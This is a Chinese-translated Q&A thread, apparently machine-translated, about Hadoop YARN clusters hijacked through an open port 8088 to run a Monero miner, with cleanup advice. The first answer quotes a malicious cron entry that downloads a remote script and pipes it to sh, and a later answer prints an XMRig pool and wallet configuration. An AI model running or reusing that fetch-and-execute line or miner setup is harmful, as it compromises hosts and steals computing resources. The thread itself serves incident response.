YARN Dr.who Application Attempt appattempt appattempt failed

时间:2018-05-25 18:28:05

标签: hadoop hdfs yarn

我在我的hadoop集群中收到此错误消息。有人能解释一下为什么吗? 不知怎的,2000个作业应用程序正在创建并且没有任何理由失败。

enter image description here

4 个答案:

答案 0 :(得分:3)

这可能是一个黑客......有一个加密货币矿工创造了数以千计的这样的工作。

在每个可疑节点上检查cron作业为纱线并将其删除。

    $ sudo -u yarn crontab -e
*/2 * * * * wget -q -O - http://185.222.210.59/cr.sh | sh > /dev/null 2>&1

然后检查" java"像这样的过程杀了它。

/var/tmp/java -c /var/tmp/wc.conf

您还应该保护群集的所有传入端口,以防止其返回。

有关详细信息,请参阅此处。 https://community.hortonworks.com/questions/191898/hdp-261-virus-crytalminer-drwho.html

答案 1 :(得分:2)

编辑:我在Google Cloud Dataproc Virus CrytalMiner (dr.who)

上添加了有关如何处理此问题的小指南

可能会困扰您的

  • 黑客扫描每个打开的漏洞(IP地址和端口)并将其存储到漏洞表中
  • 黑客扫描了违规表,试图找出您是否最近启动了集群
  • 当存在易受攻击的群集时,黑客会连接到该群集(一切都已打开,并且已发现漏洞!)
  • 该家伙连接到您的集群,删除所有内容(在我的情况下,脚本名为zz.sh,您可以在下面的BitBucket链接中找到它),然后下载挖掘应用程序
  • YARN认为工作人员正在失败,但我什至不认为Hadoop应用程序已在运行。

我建议您尝试在错误日志中找到一个bitbucket / github地址。您也可以尝试查找get / wget / apt-get / curl命令。

我想他现在有钱了。

两件重要的事情:

  • 检查您的安全组配置是否足够强大,而无处不在获得公共授权
  • 检查您的SSH密钥是否未受损。

相关

答案 2 :(得分:1)

在Google云上,一个机器人攻击端口8088并启动了许多纱线应用程序。 1.在Google Cloud中,我添加了一个防火墙规则来停止8088访问 2.终止纱线中的所有应用 yarn application -list |grep 'dr.who'| awk '$6 == "ACCEPTED" { print $1 }'| while read app; do yarn application -kill "$app"; done 3.杀死所有属于纱线的进程(先前的步骤释放了cpu,但之后网络将耗尽) ps -ef |grep yarn |awk '{ print $2}'|while read p ; do sudo kill -9 $p; done

现在使用控制台来跟踪纱线;-)

答案 3 :(得分:0)

您需要编辑主服务器和从服务器的安全组,并限制对用于监视纱线应用程序及其日志的端口8088的访问。资源管理器还接受纱线应用程序的发布,并通过rest API运行。单击here,以获取有关RM的REST API的更多信息。黑客使用此端口提交一个yarn应用程序,该应用程序包装了一个shell脚本,以下载monero的二进制文件并将其放入“ / var / tmp / java”等位置并运行它们。 Yarn认为这是一个应用程序,但它将启动挖掘软件。但这不是Java,如果您运行--version命令参数,则会得到低于结果的结果

[hadoop@ip-172-31-28-26 ~]$ /var/tmp/java --version
XMRig 2.6.2
built on Jun 24 2018 with GCC 6.3.0
features: 64-bit AES

此外,如果您找到文件“ /var/tmp/w.conf”,则可以打开该文件,然后可以看到他正在使用的monero钱包服务器,他的钱包地址和密码等。请参见下文,我在我的手机上找到了一个示例emr实例

{
"algo": "cryptonight",
"background": true,
"donate-level": 1,
"log-file": null,
"print-time": 60,
"max-cpu-usage": 95,
"pools": [
     {
        "url": "stratum+tcp://163.172.205.136:3333",
        "user": "46CQwJTeUdgRF4AJ733tmLJMtzm8BogKo1unESp1UfraP9RpGH6sfKfMaE7V3jxpyVQi6dsfcQgbvYMTaB1dWyDMUkasg3S",
        "pass": "h",
        "variant": -1
    }
],
"api": {
    "port": 0,
    "access-token": null,
    "worker-id": null
}

}

总而言之,请按照以下步骤解决此问题。

  1. 将公众访问权限移至任何不受保护的端口。尤其是8088
  2. 检查您的crontab并删除您不确定的所有条目
  3. 删除“ / var / tmp”之类的目录中的内容,但确保它们不是您的
  4. 使用top命令查看占用所有cpu的进程的pid,并杀死它们

执行上述步骤将确保不会再次启动采矿程序